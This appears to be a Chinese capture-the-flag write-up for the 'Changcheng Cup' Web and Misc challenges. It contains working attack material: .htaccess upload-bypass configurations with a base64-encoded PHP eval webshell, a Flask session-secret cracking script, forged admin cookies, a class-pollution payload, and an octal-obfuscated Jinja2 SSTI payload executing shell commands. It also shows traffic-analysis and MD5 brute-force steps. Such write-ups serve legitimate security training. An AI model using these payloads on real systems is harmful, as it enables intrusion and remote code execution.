第四届“长城杯”网络安全大赛 暨京津冀网络安全技能竞赛(初赛) Web&Misc 题解WriteUp全
Jay17 发表于 浙江 CTF 2063浏览 · 2024-09-01 08:15

SQLUP

题目描述:a website developed by a novice developer.

开题,是个登录界面。

账号admin,随便什么密码都能登录

点击头像可以进行文件上传

先简单上传个木马试试

测一下,发现文件后缀不可以带p,直接传木马无法解析。选择用.htaccess文件进行利用

前提:Apache的httpd.conf中AllowOverride=All 
特征:如果服务器是黑名单检测的话,通常会禁用php等脚本文件,不一定会禁用.htaccess文件. 
绕过方式:先上传.htaccess文件,再上传一个文件名符合.htaccess特定代码的jpg文件,服务器会将jpg文件当做php文件来解析执行。
内容格式:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
也可以是:
AddType application/x-httpd-php.png
还可以是:(自动base64解码后包含) //Polar  上传
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.png"
如果过滤lfile,用 \空格换行 绕过 
有文件头要求的需要进行base补位  //古剑山2023-upload
AddType application/x-httpd-php .png
php_value auto_append_fi\ 
le "php://filter/convert.base64-decode/resource=shell.png"


-----------------------------------------------------------------------
原理:
.htaccess nginx.htaccess(apache和nginx的配置文件,可修改php解释器的各项功能)可覆盖php.ini里面的内容(php.ini是最大的配置文件)

虚拟主机时代     一个物理服务器,里面可能存放几十上百个网站 每个网站,一个目录 
     A 网站  需要这样的php.ini配置
     B 网站  却需要那样的php.ini配置
     C 网站  又需要另外的php.ini配置 
但是总的php.ini不动,A B C 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录 
所以自定义配置文件   .htaccess nginx.htaccess

自动base64解码1.gif后包含

AddType application/x-httpd-php .gif
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.gif"

1.gif内容:

PD9waHAgZWNobyAiSmF5MTciO2V2YWwoJF9QT1NUWzFdKTs/Pg==  #<?php echo "Jay17";eval($_POST[1]);?>

再上传个shell.gif,自动包含1.gif内容

getshell

flag{29899671-82e8-41cf-80ee-4b27515bef95}

CandyShop

题目描述:小明成为了CandyShop的店员,老板要求他卖出500个糖果,但是每个人只能买10个,小明不知道怎么办了,你能帮帮他吗?

拿下三血~

附件下载源码:

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re

app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'


class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')


class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')


class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image


class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username == username) & (self.password == password)


class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""


def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))


def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
           Candy(name="Chocolate Bar", image="images/candy2.jpg"),
           Candy(name="Gummy Bears", image="images/candy3.jpg")
           ]
users = []
admin_user = []


@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))

    return render_template('register.html', form=form)


@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))

    return render_template('login.html', form=form)


inventory = 500
sold = 0


@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))

    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session, admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')


@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)


@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')


@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)


@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')


@app.route('/')
def index():
    return render_template('index.html')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

首先可以看到部分路由需要admin身份访问,同时有flask session,密钥是7位。

开题,注册登陆Jay17/111111

拿到session

eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc

起手session爆破密钥。密钥是a123456

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "../my_wordlist.txt"

print("Generating wordlist... ")

#如果wordlist.txt为自定义字典,注释掉下面三行
# with open(path,"w") as f:
#     #permutations with repetition
#     [f.write(''+"".join(x)+''+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=4)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET ~{secret}~ in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

解密session:flask-unsign --decode --cookie '获得的session'

flask-unsign --decode --cookie 'eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc'

加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17'}" --secret 'a123456'
eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiYWRtaW4iLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00yA.ArWLgtc-_3I92l3qPfUvGCSaUXE

成功获取admin权限

解锁所有功能后,接下来就是思考如何把糖果变到500。

发现/admin路由下有原型链污染

我们直接污染全局变量sold修改糖果数量

{
    '__init__':{
        '__globals__':{
            'sold':501
        } 
    }
}

session加密一下

flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'sold':501}}}" --secret 'a123456'
.eJwly00KwyAQhuG7zLqLmFRFj9BLyPgzQWJGiHYRgnev0N33PvA9ENpFrtcjMVigRXpDAeOqN63Xt0CvZCKMpDxtBpUkE7SQ8IIcE_fc7_nCeGae9G3pYjzTpA_eQk9yLnPuzoF95t5L9VjaP1stEaxcxBjjB033KyA.Zt02hQ.JK2FDR4eKopf7rJigxJ0GD-Dd94

替换session后访问/admin路由触发原型链污染。

访问/admin/view_inventory路由发现污染成功,手上的糖果已经过500了

回到/home路由再买一下,获得secret.txt的文件内容

/tmp/xxxx/xxx/xxxx/flag

但是不可以直接读取,尝试过添加糖果为这个位置 或者 切换指定static静态目录到/tmp,都不行。

细细读下源码,发现一般的模板渲染都是安全的render_template(),唯有/admin/view_inventory路由下是render_template_string(),存在SSTI。

那么说我们污染inventory或者sold为SSTIpayload即可,后续发现只能污染inventorysold污染了会报错,咱为查明原因。存在限制是re.sub(r'[a-zA-Z_]', '', str(value)),用八进制绕过。

进行一下SSTI简单测试,无误:

flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}" --secret 'a123456'

那么接下来就是SSTI读取文件了

原始payload:

{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

转八进制

.__class__转为['XXXXXX']
[0]不动
()不动
['eval']转为['XXXXXX']
('__import__("os").popen("【RCE】").read()')转为('XXXXXX')

payload:(单引号和斜杠转义一下)

{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042

RCE的八进制

\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}

命令如下:

find /tmp -name flag

tac /tmp/c05cac2af98893714d14d6107237f915/cbd2c352aaf912c8db7eabf2a9c71aa2/47ea5fa69ceb675b7023a3ff6b110012/flag
{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042

RCE的八进制

\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}

最终payload:

flask-unsign --sign --cookie "{'csrf_token': 'f05b9fcad27377241ab65efadf6bf39a65f9c715', 'identity': 'admin', 'username': 'Jay17','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\164\\141\\143\\040\\057\\164\\155\\160\\057\\143\\060\\065\\143\\141\\143\\062\\141\\146\\071\\070\\070\\071\\063\\067\\061\\064\\144\\061\\064\\144\\066\\061\\060\\067\\062\\063\\067\\146\\071\\061\\065\\057\\143\\142\\144\\062\\143\\063\\065\\062\\141\\141\\146\\071\\061\\062\\143\\070\\144\\142\\067\\145\\141\\142\\146\\062\\141\\071\\143\\067\\061\\141\\141\\062\\057\\064\\067\\145\\141\\065\\146\\141\\066\\071\\143\\145\\142\\066\\067\\065\\142\\067\\060\\062\\063\\141\\063\\146\\146\\066\\142\\061\\061\\060\\060\\061\\062\\057\\146\\154\\141\\147\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'

BrickGame

题目描述:通关小游戏即可获得flag。

直接玩小游戏就可以了,60秒找相同的卡牌,玩了一会儿,第三关稍微要集中注意。

漏洞探踪,流量解密

题目描述:网站遭遇异常攻击,通过日志与流量锁定攻击来源,阶段二的压缩包密码是攻击来源ip地址,比如127.0.0.1,对捕获的数据包进行解密,识别加密算法并还原flag。flag格式为flag:{xxxxx}

阶段一是流量文件和日志文件,题目提示密码是ip地址,打开看一下log文件发现地址,查找upload关键字,在192.168.30.234地址下发现成功上传了文件,根据题目提示成功解密第二阶段的压缩包,还是得到一个流量文件,打开过滤http流,追踪http一点点看发现有key文件,直接全部导出:

有密钥,猜测是rc4解密,把重复部分去掉,选择hex密钥格式,成功得到flag:

最安全的加密方式

题目描述:找到了一个最安全的加密方式,然后将自己的密码用这种方式加密起来,你能破解出来吗?

打开流量过滤http流,发现后门脚本qqq.php

大概看一下,两个关键密钥,脚本就是对传入的paylod进行拼接加密和二次利用,再向后发现一个rar,导出后发现需要密码,使用pass就可以解密,得到一堆字符串

发现第一行是f字母md5后的数据,猜测就是md5用脚本碰撞,每一行代表一个字母,脚本如下

import hashlib

flag = ["8fa14cdd754f91cc6554c9e71929cce7",
    "2db95e8e1a9267b7a1188556b2013b33",
    "0cc175b9c0f1b6a831c399e269772661",
    "b2f5ff47436671b6e533d8dc3614845d",
    "f95b70fdc3088560732a5ac135644506",
    "b9ece18c950afbfa6b0fdbfa4ff731d3",
    "2510c39011c5be704182423e3a695e91",
    "e1671797c52e15f763380b45e841ec32",
    "b14a7b8059d9c055954c92674ce60032",
    "6f8f57715090da2632453988d9a1501b",
    "cfcd208495d565ef66e7dff9f98764da",
    "03c7c0ace395d80182db07ae2c30f034",
    "e358efa489f58062f10dd7316b65649e",
    "b14a7b8059d9c055954c92674ce60032",
    "c81e728d9d4c2f636f067f89cc14862c",
    "e1671797c52e15f763380b45e841ec32",
    "4a8a08f09d37b73795649038408b5f33",
    "4c614360da93c0a041b22e537de151eb",
    "4b43b0aee35624cd95b910189b3dc231",
    "e1671797c52e15f763380b45e841ec32",
    "b14a7b8059d9c055954c92674ce60032",
    "e1671797c52e15f763380b45e841ec32",
    "8d9c307cb7f3c4a32822a51922d1ceaa",
    "4a8a08f09d37b73795649038408b5f33",
    "4b43b0aee35624cd95b910189b3dc231",
    "57cec4137b614c87cb4e24a3d003a3e0",
    "83878c91171338902e0fe0fb97a8c47a",
    "e358efa489f58062f10dd7316b65649e",
    "865c0c0b4ab0e063e5caa3387c1a8741",
    "d95679752134a2d9eb61dbd7b91c4bcc",
    "7b8b965ad4bca0e41ab51de7b31363a1",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "cbb184dd8e05c9709e5dcaedaa0495cf"
]
dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!&{}'

for f in flag:
    for a in dic:
        if hashlib.md5(a.encode('utf-8')).hexdigest() == f:
            print(a, end='')
            break

得到flag :flag{The_m0st_2ecUre_eNcrYption!!!}

0 条评论
某人
表情
可输入 255